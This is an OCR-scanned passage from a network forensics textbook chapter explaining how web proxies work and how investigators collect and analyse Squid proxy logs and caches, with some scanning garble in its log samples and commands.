which often include highly specialized Layer 7-aware firewall capabilities designed to inspect
and filter web traffic.

Web proxying and caching have become increasingly popular for both filtering traffic
and speeding up requests. Even consumer ISPs have latched onto the idea (sometimes using
similar techniques to insert ads into pages as they are downloaded).?

Regardless of whether security was a consideration during the original configuration,
forensic investigators can take advantage of the granular logs and caches typically retained
by web proxies. The rise of content distribution systems and distributed web caches further
increases the need for forensic analysts to collect web content from local caches near the
target of investigation, since web content is often modified for specific enterprises, geographic
regions, device types, or even individual web clients.

10.1 Why Investigate Web Proxies?

Web proxy and cache servers can be gold mines for forensic analysts. A web proxy can
literally contain the web browsing history of an entire organization all in one place. When

1. Larry Greenemeier, “Remembering the Day the World Wide Web Was Born,” Scientific American, March
2009, http://www.scientificamerican.com/article.cfm?id=day-the-web-was-born.

2. Craig Labovitz, “Internet Traffic and Content Consolidation,” 2007, http://www.ietf.org/proceedings/
77 /slides/plenaryt-4.pdf.

3. Sarah Lai Stirland, “In Test, Canadian ISP Splices Itself Into Google Homepage | Threat Level | Wired.com,”
Wired.com, December 10, 2007, http://blog.wired.com/27bstroke6/2007 /12 /canadian-isps-p.html.
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placed at the perimeter of an organization, they often contain the history of all HT'TP or
HTTPS traffic, including blogs, instant messaging, and web-based email such as Gmail and
Yahoo! accounts. Web caching servers may also contain copies of pages themselves, for a
limited time.

This is great for forensic analysts. Investigators can examine web browsing histories for
everyone in an organization all at once. Moreover, it’s possible to reconstruct web pages
from the cache. Too often, investigators simply visit web sites in order to see what they are.
This has some serious drawbacks: first, there is no guarantee you’re seeing what the end-user
saw earlier and, second, your surfing now appears in the destination server’s activity logs.
If the owner of the server is an attacker or suspect, you may well have just tipped them off.
It’s much better to first examine the web cache to see what you can find stored locally.

Web proxies evolved and matured for two general reasons: performance and security.
There are many types of web proxies. Below are some simple examples (there are a wide
spectrum of products that incorporate different aspects of each of these):

Caching proxy—Stores previously used pages to speed up performance.

Content filter—Inspects the content of web traffic and filters based on keywords,
presence of malware, or other factors.

e TLS/SSL proxy—Intercepts web traffic at the session layer to inspect the content
of TLS/SSL-encrypted web traffic.

e Anonymizing proxy—Acts as an intermediary to protect the identities of web
surfers.

e Reverse proxy—Provides content inspection and filtering of inbound web requests
from the Internet to the web server.

Nowadays, web proxies are commonly set up to process all outbound web requests from
within organizations to the Internet (sometimes referred to as a “forward proxy”). In this
setup, the web proxy is often configured to provide caching, content inspection, and filtering
of both outbound requests and inbound replies. This has a number of benefits. The web
proxy can identify and filter out suspicious or inappropriate web sites and content. Web
proxies also cache commonly used pages, which improves performance by removing the
need for commonly accessed external content to be fetched anew every time it is requested.
In much the same way as individual web browsers cache content to improve performance
for a single client, web proxies cache content for use across the enterprise.

Reverse web proxies can be useful as well. Often, they include logs that allow investigators
to identify suspicious requests and source IP addresses associated with web-based attacks
against the protected server.

Web proxies are typically involved in investigations for one of several reasons:

e A user on the internal network is suspected of violating web browsing policy.

e An internal system has been compromised or may have downloaded malicious content
via the web.

e There is concern that proprietary data may have been leaked through web-based
exportation.
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e A web server protected by a reverse web proxy is under attack or has been hacked.
e The web proxy itself has been hacked (rare).

Throughout this chapter, we focus on analyzing “forward” web proxies, as they are
commonly used in organizations. Many of the forensic techniques used to analyze forward
web proxies can also be applied to other types of web proxies in different settings (with the
special exception of anonymizing proxies, since these are typically designed to retain very
little or no information about the endpoints).

10.2 Web Proxy Functionality

Over time, web proxies have evolved standard functions, including;:

e Caching—Locally storing web objects for limited amounts of time and serving them
in response to client web requests to improve performance.

e URI Filtering—Filtering web requests from clients in real-time according to a black-
list, whitelist, keywords, or other methods.

e Content Filtering—Dynamically reconstructing and filtering content of web requests
and responses based on keywords, antivirus scan results, or other methods.

e Distributed Caching—Caching web pages in a distributed hierarchy consisting of
multiple caching web proxies in order to provide locally customized web content, serve
advertisements, and improve performance.

We discuss each of these in turn.

10.2.1 Caching

Caching is a way of reusing data to reduce bandwidth use and load on web servers, and
speed up web application performance from the end-user perspective. The web is designed
as a network-based client-server model. In the simplest case, each web client request would
be sent directly to the web server, which would then process the request and return data
directly to the web client.

Of course, most web servers host a lot of static data that doesn’t change very often.
Individual web clients often make requests for data that they have requested before. Orga-
nizations may have many web clients on their internal network making requests for data
that has already been retrieved by another internal web client. Over time, the Internet com-
munity has evolved and standardized mechanisms for making web usage far more efficient
by caching web server data locally and in distributed cache proxies.

Forensic investigators examining hard drives know that web pages are often cached
locally by web browsers themselves, and can be retrieved through standard hard drive
analysis techniques. Network forensic investigators should also be aware that web pages
are often cached at the perimeters of organizations, as well as by ISPs and distributed cache
proxies, and may be retrieved through analysis of web proxy servers. Client web activity
may also be logged in these locations.

The HTTP protocol includes built-in mechanisms to facilitate caching that have matured
over time. According to RFC 2616 (“Hypertext Transfer Protocol—HTTP/1.1”), “The goal
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of caching in HTTP/1.1 is to eliminate the need to send requests in many cases, and to
eliminate the need to send full responses in many other cases. The former reduces the number
of network round-trips required for many operations; we use an ‘expiration’ mechanism for
this purpose. ... The latter reduces network bandwidth requirements; we use a ‘validation’
mechanism for this purpose.”*

Expiration and validation mechanisms are important for forensic investigators to under-
stand because they can indicate, among other things:

e How recently a cached web object was retrieved from the server
e Whether a web object is likely to exist in the web proxy cache

e Whether a cached version of a web object was actually viewed by a specific web client

10.2.1.1 Expiration

The HTTP protocol is designed to reduce the need for web clients and proxies to make
requests of web servers by providing an “expiration model” by which web servers may
indicate the length of time that a page is “fresh.” While an object is “fresh,” caching web
proxies may serve cached copies of the page to web clients instead of making a new request
to the origin web server. This can dramatically reduce the amount of bandwidth used by
an organization, and the end-user typically receives the locally cached response far more
quickly than a response that must be retrieved from a remote network. When the expiration
time of a web object has passed, the page is considered “stale.”
The expiration model is typically implemented through one of two mechanisms:

e Expires header—The “Expires” header lists the date and time after which the object
will be considered stale. Although this is a straightforward mechanism for indicating
page expiration, implementation can be tricky because the client and server dates and
times must be synchronized in order for this to work as designed.

e Cache-Control—As of HTTP/1.1, the “Cache-Control” field supports granular spec-
ifications for caching, including a “max-age” directive that allows the web server to
specify the length of time for which a response is valid. The max-age directive is
defined as a number of seconds that the response is valid after receipt, so it does not
require that the absolute time between the web server and caching proxy/local system
be synchronized.

10.2.1.2 Validation

The “validation model,” as defined by RFC 2616, allows caching web proxies and web clients
to make requests of the origin web server to determine whether locally cached copies of web
objects may still be used. While the proxy and/or local client still needs to contact the
server in this case, the server may not need to send a full response, again improving web
application performance and reducing bandwidth and load on central servers.

4. R. Fielding, “RFC 2616—Hypertext Transfer Protocol—HTTP/1.1,” IETF, June 1999, http://www
.rfe-editor.org/rfc/rfc2616.txt.


http://www.rfc-editor.org/rfc/rfc2616.txt
http://www.rfc-editor.org/rfc/rfc2616.txt

10.2 Web Proxy Functionality 373

In order to support validation, web servers generate a “cache validator,” which it attaches
to each response. Web proxies and clients then provide the cache validator in subsequent
requests, and if the web server responds that the object is still “valid” (i.e., using a 304
“Not Modified” HTTP status code), then the locally cached copy is used.

Common cache validators include:

e Last-Modified header—The “Last-Modified” HTTP header is used as a simple
cache validation mechanism based on an absolute date. The web proxy/client sends
the server the most recent “Last-Modified” header, and if the object has not been
modified since that date, it is considered valid.

e Entity Tag (ETag)—An ETag is a unique value assigned by the web server to a
web object located at a specific URIL. The mechanism for assigning an ETag value is
not specified by a standard and varies depending on the web server. Often, the ETag
is based on a cryptographic hash of the web object, such as an MD5sum, which by
definition is changed whenever the web object is modified. ETags are sometimes also
generated from the last modified date and time, a random number, or a revision num-
ber. “Strong” ETag values indicate that the cached web object is bit-for-bit identical
to the copy on the server, while “weak” ETag values indicate that the cached web
object is semantically equivalent, although it may not be an exact bit-for-bit copy.

10.2.2 URI Filtering

In many organizations, web proxies are set up in order to restrict and log web surfing
activity. Quite often, enterprises limit web requests to a list of known “good” web sites
(“whitelisting”) or prevent users from visiting known “bad” web sites (“blacklisting”). This
is generally done in order to comply with acceptable use policies, preserve bandwidth, or
improve employee productivity.

The process of maintaining whitelists is fairly straightforward, but in many organizations
employees need to access a wide range of web sites in order to do their jobs, and so restricting
web surfing activity to a whitelist is not practical. On the flip side, maintaining blacklists
can be quite complex, since it requires that administrators maintain long and constantly
changing lists of known “bad” web sites. However, blacklists provide more flexibility and
there are published and commercially available blacklists that can ease local administrators’
burdens. URI filtering can also be conducted based on keywords present in the URI.

HR violations, including inappropriate web surfing, are among the most common reasons
for network forensic investigations. As a result, forensic investigators may often be called
upon to review web activity access logs and provide recommendations for implementing
blacklists/whitelists.

Tools such as squidGuard allow administrators to incorporate blacklist/whitelist tech-
nology into web proxies.

10.2.3 Content Filtering

As the web becomes more dynamic and complex, transparent web proxies are increasingly
used to filter web content. This is especially important because over the past decade, client-
side attacks have risen to epidemic proportions, and a large number of system compromises
occur through the web.
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Content filters are often used to dynamically scan web objects for viruses and malware. In
addition, they can filter web responses for inappropriate content based on content keywords
or tags in HTTP metadata. Content filters can also be used to filter outbound web traffic,
such as HT'TP POSTs in order to detect proprietary data leaks or exposure of confidential
data (such as Social Security numbers).

10.2.4 Distributed Caching

Increasingly, web providers are relying on distributed hierarchies of caching web proxies
to provide web content to clients. Distributed web caching has many benefits for perfor-
mance, profitability, and functionality. Using a distributed caching system, web providers can
reduce the load on central servers, improve performance by storing web content closer to the
endpoints, dynamically serve advertisements, and customize web pages based on geographic
location or user interests.

The two most commonly used protocols underlying distributed web caches are Internet
Cache Protocol and Internet Content Adaptation Protocol.

10.2.4.1 Internet Cache Protocol (ICP)

The Internet Cache Protocol (ICP) is a mechanism for communication between web cache
servers in a distributed web cache hierarchy.® Developed in the mid-late 1990s, the purpose
of ICP was to further capitalize on the performance gains resulting from web caches by
allowing networks of web cache servers to communicate and request cached web content
from “parent” and “sibling” web caches. ICP is designed to be a Layer 4 protocol, typically
transported over UDP since requests and responses must occur extremely quickly in order
to be useful.

ICP is supported by Squid and the BlueCoat ProxySG, among other popular web
proxies.”

10.2.4.2 Internet Content Adaptation Protocol (ICAP)

The Internet Content Adaptation Protocol (ICAP) is designed to support distributed cache
proxies which can transparently filter and modify requests and responses. ICAP is used to
translate web pages into local languages, dynamically insert advertisements into web pages,
scan web objects for viruses and malware, censor web responses, and filter web requests. As
described in RFC 3507, “ICAP clients ... pass HT'TP messages to ICAP servers for some
sort of transformation or other processing (‘adaptation’). The server executes its transfor-
mation service on messages and sends back responses to the client, usually with modified
messages. The adapted messages may be either HTTP requests or HTTP responses.”

5.D. Wessels and K. Claffy, “Internet Cache Protocol (ICP), version 2,” IETF, September 1997,
http://icp.ircache.net /rfc2186.txt.

6. D. Wessels and K. Claffy, “Application of Internet Cache Protocol (ICP), version 2,” IETF, September
1997, http://icp.ircache.net/rfc2187.txt.

7. D. Wessels, “ICP—Internet Cache Protocol,” June 16, 2003, http://icp.ircache.net/.

8. J. Elson and A. Cerpa, “RFC 3507—Internet Content Adaptation Protocol (ICAP),” IETF, April 2003,
http://rfc-editor.org/rfc/rfc3507.txt.
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ICAP reduces the load on central servers, allowing content providers to distribute resource-
intensive operations across multiple servers. ICAP also enables content providers, ISPs, and
local enterprises to more easily customize web content for local use, and selectively cache
customized content “closer” to endpoints, realizing performance improvements.

ICAP, and similar protocols (such as the Open Pluggable Edge Services [OPES]?), have
enormous implications for practitioners of web forensics. It is simply no longer the case
that a forensic analyst can actively visit a URL and expect to receive the same data that
an end-user viewed at an earlier date, with a different device, or from a different network
location. To recover the best possible evidence, it is always best to retrieve cached web data
as close as possible to the target of investigation. For example, if a cached web page is not
available on a local hard drive, the next best option may be the enterprise’s caching web
proxy, followed by the local ISP’s caching web proxy.

10.3 Evidence

Web proxies tend to include substantially more persistent storage than less specialized fire-
walls. They are often marketed to provide “visibility” into web surfing behaviors and, as a
result, store detailed web access logs, and may even provide reports categorizing user web
traffic by type (i.e., “adult,” “gambling,” “sports,” “IT,” “hacking,” etc.).

Many web proxies are distributed as software platforms to be installed on top of general-
purpose operating systems (such as the open-source Squid web proxy). When distributed as
a standalone appliance, web proxies tend to include internal hard drives and RAM compa-
rable to the standard enterprise server models on the market. Unlike more generic firewalls,
standalone web proxy appliances typically do not involve specialized hardware such as chips
that implement TCP; web protocols are too complex for hardware implementation to be
widely available. Furthermore, the latency introduced over a WAN typically far exceeds the
minor latency introduced by a web proxy at the enterprise perimeter. As a result, even com-
mercial web proxies sold as standalone appliances are commonly built using enterprise-grade
commodity hardware.

10.3.1 Types of Evidence

This section lists the types of evidence that you may find stored on web proxies, categorized
by expected level of volatility.

10.3.1.1 Persistent

e History of all HTTP or HTTPS traffic, including blogs, IM, web mail, etc. Volatility
varies based on storage space, level of web activity, and configuration options. Web
access logs tend to be stored on disk for significant periods of time. Often, system
administrators do not realize the length of time or granularity of the data that is
cached, and years’ worth of web history can accumulate without notice.

e Blocked web traffic attempts

9. S. Floyd and L. Daigle, “RFC 3238—IAB Architectural and Policy Considerations for Open Pluggable
Edge Services,” IETF, January 2002, http://rfc-editor.org/rfc/rfc3238.txt.
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e Summarized user activity reports

e Web proxy configuration files

10.3.1.2 Volatile
e Cached content of web traffic stored in RAM.

e Cached content of web traffic stored on disk. Although evidence stored to disk is
generally much less volatile than data stored in RAM, cached web content is designed
to be removed from disk storage as needed. Web cache content tends to be highly
volatile, even when it is written to disk, and it may be swapped out quickly due to
space considerations. In some cases it may only remain on disk for hours, minutes,
or even seconds. Volatility varies based on storage space, level of web activity, and
configuration options.

e Authentication information for web sites.

10.3.1.3 Off-System

Web proxies may be configured to send system access logs, web surfing histories, and other
records to a central log server. (This generally does not include cached content, which tends
to take up a large amount of disk space.) In some cases, large organizations may have a fleet
of web proxies managed via a central console, with centralized logging and reporting.

10.3.2 Obtaining Evidence

Web proxies often run on top of general-purpose operating systems, or versions of general-
purpose operating systems that have been customized by a vendor. As a result, in many
cases, the access options are similar to any general-purpose operating system, with the
common addition of a web interface and/or propietary interface as well.

As forensic investigators, you may have the ability to collect:

e Log files stored on the web proxy server or a logging server
e Web cache files stored on the web proxy server

e Reports from tools built into the web proxy server

Given the wide range of web proxies in production use, it is common for forensic investi-
gators to be challenged with an unfamiliar product. Be up-front when you encounter a new
product and do not hesitate to rely on local system administrators and/or product vendors
for product-specific guidance when needed. Often, network forensic investigators work very
closely with network and system administrators to locate evidence and ensure the stability
of production systems during evidence collection and preservation.

Whenever possible, it is best to preserve the raw log files and web cache for later analysis.
These may not always be easily accessible, depending on the product and the local system
configuration. Some commercial products include a built-in web or proprietary interface,
which generates reports based on web proxy log data. If this is your best source of evidence,
by all means, leverage it.
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10.4 Squid

Let’s take a closer look at a popular proxy server and web cache tool, Squid. Squid is an
open-source web proxy, originally funded by a grant from the National Science Foundation,'?
and currently released as free software under the GNU GPL. It is used in commercial
organizations, universities, government, and many other environments to reduce bandwidth
usage, improve web surfing performance, filter traffic, protect end-users, and log web surfing
activity.

From a forensic perspective, there are three important components of Squid:

e Configuration: Squid is configured using a file that is by default called “squid.conf.”
Other configuration files may be included by reference.

e Logfiles: Squid is capable of storing several types of logfiles, including access.log (a
record of web access history), squid.out (maintains startup times and fatal errors),
cache.log (program debugging and error messages), store.log (a list of all objects stored
to disk or removed), and useragent.log (information about client browsers).

e Cache: Squid also stores copies of web objects themselves, for a limited time. Typically,
the cache is stored in /var/spool/squid/.
10.4.1 Squid Configuration

The Squid web proxy configuration file is highly customizable, and includes a wide range of
options divided into categories. These include authentication options, access control lists,
HTTP options, ICP options, disk and memory cache configuration and tuning, logfile for-
matting, and more.!!

The Squid configuration file(s) can help forensic investigators determine, among other
things:

e Which clients are allowed to browse the Internet or specific web sites

e What traffic is processed by the web proxy

e What restrictions exist for user web access

e How easily the web proxy can be circumvented

e What types of objects may exist in the cache (both on disk and in memory)

e The location of the cache and log files

e The storage format of the disk cache

e How long objects may be stored in the cache, and what algorithms are used to purge
data

e What data is stored in the log files

10. “IRCache Home,” 1999, http://www.ircache.net/.
11. “Squid Configuration Devices,” Squid-Cache, June 5, 2011, http://www.squid-cache.org/Doc/config/.
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In addition, the Squid configuration file can allow investigators to modify web proxy
settings in order to collect more evidence in the future. For example, investigators may wish
to add details to the web proxy access logs or increase the size of the cache on disk.

10.4.2 Squid Access Logfile

Squid’s “access” logfile is extremely important for forensic investigators and network
administrators alike. The access logfile keeps a history of client web requests. Although
the contents are highly customizable, by default Squid’s “native” access logfile format is as
follows:*2

time elapsed remotehost code/status bytes method URL rfc931 peerstatus/
peerhost type

Investigators can use the “native” Squid access logfile to retrieve a list of clients, corre-
sponding web requests, the date and time of each request, the HTTP status code, and the
number of bytes downloaded (as well as the Squid status code, which indicates whether or
not the object was current and in the local cache). Note that by default the time is printed
in UNIX epoch time (seconds since January 1, 1970, 00:00:00).

Figure 10-1 shows an example of Squid’s access log file, configured to use Squid’s native
log format.

1305730801, 716 65 192.168,1.170 TCP_MISS/200 2049 GET http://lakemissoulagroup.com/
layout.css - DIRECT/199.195.120.4 text/css

1305730801. 815 142 192.168.1.170 TCP_MISS/200 6527 GET http://lakemissoulagroup.com/|
style.css - DIRECT/189.195.120.4 text/css

1305730801 . 816 143 192.168.1.170 TCP_MISS/200 3791 GET http://lakemissoulagroup.com/
maxheight.js - DIRECT/199.195.120.4 application/javascript

1305730801 . 864 539 192.168.1.169 TCP_MISS/200 7983 GET http://widgets.amung.us/class
1c.]s - DIRECT/173.192.225.170 application/x-javascript

1305730801, 929 64 192.168,1.170 TCP_MISS/404 1508 GET http://lakemissoulagroup.com/
rollover.js - DIRECT/199.1985.120.4 text/html

1305730801, 990 60 192.168.1.170 TCP_MISS/200 582 GET http://lakemissoulagroup.com/1
mages/site bg.gif - DIRECT/199.195.120.4 image/gif

1305730801, 998 56 192.168.1.170 TCP_MISS/200 1971 GET http://lakemissculagroup.com/
images/col_mid clear.gif - DIRECT/199.195.120.4 image/gif

1305730802, 011 54 192.168.1.170 TCP_MISS/200 2439 GET http://lakemissoulagroup.com/|
1mages/header bg.gif - DIRECT/199.195.120.4 image/gif

1305730802, 053 55 192.168.1.170 TCP_MISS/200 1326 GET http://lakemissculagroup.com/
images/menu_right bg.gif - DIRECT/199.195.120.4 image/gif

1305730802, 080 57 192.168.1.170 TCP_MISS/200 2814 GET http://lakemissoulagroup.com/|

images,/ml_act.gif - DIRECT/199.195.120.4 image/gif

1305730802.073 113 192,168.1.170 TCP_MISS/200 1328 GET http://lakemissoulagroup.com/
images/menu_left bg.gif - DIRECT/199.195.120.4 image/gif

1305730802. 077 115 192.168.1.170 TCP_MISS/200 600 GET http:fflakemissoulagroup.comfi
mages/menu_top_bg.gif - DIRECT/199.195.120.4 image/gif

1305730802.096 218 192,168.1.169 TCP_MISS/200 752 GET http://ad.doubleclick.net/ad]/
wiredcom.dart/threatlevel;kw=threatlevel;kw=2011; kw=05; kw=carders;kw=threatlevel;kw=blg
gs; kw=bottom; t1le=5; sz=728x890; ord=26514182301758965.57 - DIRECT/72.14.213.148 applicatio
n/x-javascript

Figure 10-1. Squid's access log (native format).

12. “Features/LogFormat—Squid Web Proxy Wiki,” June 10, 2010, http://wiki.squid-cache.org/Features/
LogFormat.
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10.4.3 Squid Cache

Squid stores copies of web objects locally, and provides these cached copies in response to
subsequent requests in order to improve performance. The Squid disk cache is a hierarchy
of files stored locally on the caching web proxy that contain the cached web objects.

Squid selects web objects for disk storage based on web server directives (such as Content-
Control values), HTTP status codes, and local web proxy configuration. Normally, web
server responses with the following HTTP status codes may be cached:!3

200 OK

203 Non-Authoritative Information
300 Multiple Choices

301 Moved Permanently

410 Gone

10.4.3.1 Disk Cache

Each Squid proxy can store cached objects in one or more cache directories. Typically,
there is only one cache directory on each partition, although this is customizable (see the
“cache_dir” directive in the Squid configuration file). Squid supports a variety of cache
directory storage formats. The traditional, default format is “ufs,” which we will use as the
basis for the remainder of this chapter.'4

The length of time that cached web objects are stored on disk depends on Squid’s specific
configuration and usage. Squid uses a “least-recently-used” (LRU) algorithm to select objects
from the cache for removal and replacement. The system administrator can set low and high
marks for disk usage (by default these are 90% and 95% respectively), and a routine process
runs by default once per second to clear disk space as needed. Each time a cache object
is accessed, the associated metadata is updated with a corresponding value indicating the
last accessed time. Based on this algorithm, higher web proxy use tends to lead to web
objects being stored for a shorter time in the disk cache. According to the Squid web proxy
documentation, “Ideally, your cache will have an LRU age value in the range of at least 3
days. If the LRU age is lower than 3 days, then your cache is probably not big enough to
handle the volume of requests it receives.” '°

10.4.3.2 swap.state

The swap.state file is Squid’s database, which contains a record of every object that has been
added to or removed from the cache.'® This is a binary file that Squid reads on startup to
rebuild its indexes in memory in order to facilitate object retrieval. (Forensic investigators
may also be able to retrieve cache index information from system RAM.) If the swap.state

13. “SquidFaq/InnerWorkings—Squid Web Proxy Wiki,” April 8, 2009, http://wiki.squid-cache.org/
SquidFaq/InnerWorkings.

14. “7.1 The cache_dir Directive: Disk Cache Basics,” FEtutorials, 2011, http://etutorials.org/Server+
Administration /Squid.+The+definitive+guide / Chapter+ 7.+ Disk 4+ Cache+ Basics / 7.1+ The+cache _dir+
Directive/.

15. “SquidFaq/InnerWorkings—Squid Web Proxy Wiki,” April 8, 2009, http://wiki.squid-cache.org/
SquidFaq/InnerWorkings.

16. “ProgrammingGuide/FileFormats—Squid Web Proxy Wiki,” May 18, 2008, http://wiki.squid-cache.org/
ProgrammingGuide/FileFormats.
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file is deleted while Squid isn’t running, Squid will actually recreate it the next time it
starts up. By default, the swap.state file is stored in the top level of the corresponding cache
directory.'”

10.4.3.3 Keys

Squid assigns a database key to each cached web object. The key is a cryptographic hash
(currently a 128-bit MD5 sum) of the URL prepended with an 8-bit code that corresponds
with the HTTP method used to request it.

Supported HTTP methods and corresponding numbers are as follows: '8
METHOD Hex Value
GET 0x01
POST 0x02
PUT 0x03
HEAD 0x04
CONNECT  0x05
TRACE 0x06
PURGE 0x07

As an example, here is the calculation for the key of the web site “http://lmgsecurity.com/”
retrieved using an HTTP GET request (the top line is ASCII, and the line below is
hexadecimal):

GETh ¢t t p : / / 1 m g s e ¢c u r i t y . ¢ o m /
01 68 74 74 70 3A 2F 2F 6C 6D 67 73 65 63 75 72 69 74 79 2E 63 6F 6D 2F

Key (MD5 digest): 7bb31ba8a860e88d4e712dc81£f7e9385

You will find the key in Squid’s swap.state and store.log files, as well as in the metadata
of each cached web object. Note that Squid differentiates between public and private keys;
in this content, the private key is associated only with requests from a single client, whereas
web objects marked with a public key may be served to any client. This allows Squid to
effectively handle cached objects that may be protected by authentication or contain private
data that should only be viewed by a specific client.”

10.4.3.4 Memory Cache

Since it is faster to read pages from memory than from disk, Squid also maintains a limited
subset of cached pages in memory. As a result, forensic investigators may be able to retrieve
a limited number of volatile cached web objects from the web proxy’s RAM. The amount

17. “13.6 swap.state: Log Files,” FEtutorials, 2011, http://etutorials.org/Server+Administration/Squid.+
The+definitivet-guide/Chapter+13.4+Log+Files/13.6+swap.state/.

18. Martin Hamilton, “Cache Digest Specification—Version 5,” December 1998, http://www.squid-cache
.org/CacheDigest/cache-digest-v5.txt.

19. “SquidFaq/InnerWorkings—Squid Web Proxy Wiki,” Squid-Cache, 2011, http://wiki.squid-cache.org/
SquidFaq/InnerWorkings# What_are_private_and_public_keys.3F.
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of RAM dedicated to this purpose is configurable using the “cache_mem” line in the Squid
configuration file.2°

10.5 Web Proxy Analysis

Forensic analysis of web proxies is a new art. Web proxy access logs contain records of
browsing histories, often for an entire organization. This can allow an investigator to build
very detailed profiles of user activities and interests and correlate activity across a large
population of end-users. Access log data takes up very little space and is easy to store.
Organizations may store years’ worth of web proxy access logs, without even realizing it.
These logs can be analyzed using general-purpose event log analysis tools or with specialized
open-source and commercial tools.

On the flip side, extracting objects from web proxy caches is challenging, and the evidence
is very volatile. Cache formats are not well documented (in proprietary web proxies, they
are deliberately unpublished). Due to the large disk space necessary to cache web objects,
they are typically not retained on disk for very long, although this varies depending on the
web proxy configuration, capacity, and network activity. Not many tools exist to faciliate
extraction of cached objects, although that is beginning to change.

In this section, we review common tools available for analyzing web proxy log data, and
then show you an example of web proxy cache analysis.

10.5.1 Web Proxy Log Analysis Tools

Forensic investigators can analyze most web proxy logs using common log analysis tools
such as Linux command-line tools, Splunk, and others. There are also many open-source
and commercially available tools that exist specifically to analyze and produce reports for
web proxy log data. These include Internet Access Monitor, Blue Coat Reporter, squidview,
and SARG, among others.

10.5.1.1 Internet Access Monitor

Internet Access Monitor?! is a commercial tool by Red Line Software. It accepts logs from a
wide variety of web proxy servers, including Squid, Microsoft’s ISA, Novell BorderManager,
and others.

10.5.1.2 Blue Coat Reporter

The Blue Coat Reporter is another commercial tool, designed specifically to produce visual
reports for Blue Coat products, such as the ProxySG, WebFilter, ProxyClient, and ProxyAV.

20. “Appendix B.: The Memory Cache,” FEtutorials, 2011, http://etutorials.org/Server+Administration/
Squid.+The+definitive+guide/Appendix+B.+The+Memory+Cache/.

21. “Internet Access Monitor,” Red Line Software, 2011, http://www.redline-software.com/eng/
products/iam.
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Figure 10-2. Squidview.

10.5.1.3 Squidview

Squidview is an open-source, interactive Squid access log analysis tool.?? You can use it to
analyze saved log files or to view the access log in real-time (squidview will show activity
updates every 3 seconds by default). Figure 10-2 shows an example of squidview use.

10.5.1.4 SARG

The Squid Analysis Report Generator (SARG) is a web-based Squid analysis tool that
allows you to browse visual reports of user activity based on Squid’s access log (SARG
also supports log formats from Microsoft ISA and Novell Border Manager).?? SARG can
also supplement reports with additional information from web filtering logs, such as those
generated by squidGuard. Figure 10-3 shows an example of a SARG activity graph for one
client during a set time period.

10.5.1.5 Splunk

You can also use Splunk to analyze web proxy access. One nice thing about using Splunk for
this purpose is that it automatically translates the UNIX timestamps from common logfiles
such as Squid’s access.log into human-readable format. It also allows you to graphically
examine a client’s web surfing history and filter on any keyword in the logs (such as an IP

22. “squidview,” May 30, 2011, http://www.rillion.net/squidview/.
23. “SARG,” 2011, http://sarg.sourceforge.net /sarg.php.
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Sguid Analysis Report Generator

Squid User Access Reports

Period: 2011Mayl8-2011Mayl8

User: 192.168.1.170

Sort: BYTES. reverse

User Report

ACCESSED SITE CONNECT | BYTES |%BYTES| IN-CACHE-OUT | ELIAPSED TIME| MILISEC | % TIME
B | www boinghoing net 72| Z2.64M| 2125%| 4.44%| 95.56% 00:00:51 51,118 | 10.068%
0| safehrowsing-cache google.com 19| I.54M| 20.44%| 0.00% | 100.00% 00:00:10 10,823 2.13%
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05| tech slashdat.org 2|133.19K| 1.07%| 0.00%|100.00% 00:00:01 1220 0.24%
&% | hardware slashdot org 2|126.66K 1.02% | 0.00% |100.00% 00:00:01 1.541| D30%
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0% | statie ak fhedn net 15104 41K 0.84% | 45.34% | 54.66% 00:00:01 1,557 D31%
55 | googleads g.doubleclick net 8| 90.30K 0.73% | 0.88%| 99.14% 00:00:01 1,913 | 0.38%
G| slashdot.org 2| BESME| 0.71%| 0.00%|100.00% 00:00:01 1,014 0.20%
05| books slashdot.org Z| 8B.01K| 0.71%| 0.00% |100.00% 00:00:02 2,889 0.58%
05 | ad doubleclick net 61| BZ33K 0.66% | 0.80%| 99.20% 00:00:13 13,321 2.62%
B | www google-analytics .com 25| BZ.25K 0.86% | 73.55% | 26.45% 00:00:02 2,775 0.55%
Bh| connect.facebook.net 3| T3.TOK| 0.99%|50.27%| 49.73% 00:00:00 308| 0.08%
05| www .youtube .com 8| 72.50K| 0.38%| 0.00% |100.00% 00:00:01 1,774 0.325%
0% | =7 addthis com 4| T0.1BK 0.56% | 0.00%|100.00% 00:00:00 643 ( 0.13%
[T | ctatin Frmah nat 12 PR QAW [RRLF LU R I LT 72 2204 an.nn.ne a2 and M A R0

Figure 10-3. A screenshot of SARG, showing the browsing history of 192.168.1.170.
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address or URI). Figure 10-4 shows a simple example in which Splunk is used to display

Squid’s

access logfile.

Please see Chapter 8, “Event Log Aggregation, Correlation, and Analysis,” for more
details about Splunk.

10.5.1.6 Shell

Linux command-line tools such as grep, sort, and awk can be very helpful when analyzing

Squid’s

access.log file.

e You can extract logs relating to a specific IP address using “grep”:

$

grep '192\.168\.1\.4\[192\.168\.10\.42"

access.log
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Figure 10-4. A simple example in which Splunk is used to display Squid's access log.

This command extracts all lines that contain EITHER “192.168.1.4” or “192.168.10.42”
from the file access.log. It is often handy for investigators to see timestamps in human-
readable format, rather than solely UNIX timestamps.

You can convert UNIX timestamps to human-readable format using the following
command:

$ date -d ©1239739126.845
Tue Apr 14 13:58:46 MDT 2009

Here’s one way to append a column of human-readable dates before the UNIX time-
stamps, and save the modified file as access-humandate.log:

$ while read line; do unixdate="echo $line | awk '{print $1 \
}'"; humandate="date -d @$unixdate ~; echo $humandate $line; \
done< access.log > access-humandate.log

You can also create a file that contains the bare minimal information: the human-
readable dates, source IP address, and the associated URIs.

$ awk '{printf"V%s %s %s %s %s %s - %s - %s\n", $1, $2, $3, \
$4, $5, $6, $9, $13 1} access.log > basic-access.log

10.5.2 Example: Dissecting a Squid Disk Cache

If you simply list the directory contents of a ufs Squid disk cache, here is what you will see:

$ 1s

00 01 02 03 04 05 06 07 08 09 OA OB 0C OD OE OF swap.state
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Within each of those subdirectories are files such as these:

$ 1s 00/

00 10 20 30 40 50 60 70 80 90 AO BO CO DO EO FO
01 11 21 31 41 51 61 71 81 91 A1 B1 C1 D1 E1 F1
02 12 22 32 42 52 62 72 82 92 A2 B2 (C2 D2 E2 F2
03 13 23 33 43 53 63 73 83 93 A3 B3 (€3 D3 E3 F3
04 14 24 34 44 54 64 T4 84 94 A4 B4 C4 D4 E4 F4
05 15 25 35 45 55 65 75 85 95 A5 B5 C5 D5 EB Fb
06 16 26 36 46 56 66 76 86 96 A6 B6 C6 D6 E6 F6
o7 17 27 37 47 57 67 77 87 97 A7 B7 C7 D7 ET7 F7
08 18 28 38 48 58 68 78 88 98 A8 B8 (€8 D8 E8 F8
09 19 29 39 49 59 69 79 89 99 A9 B9 C9 D9 E9 F9
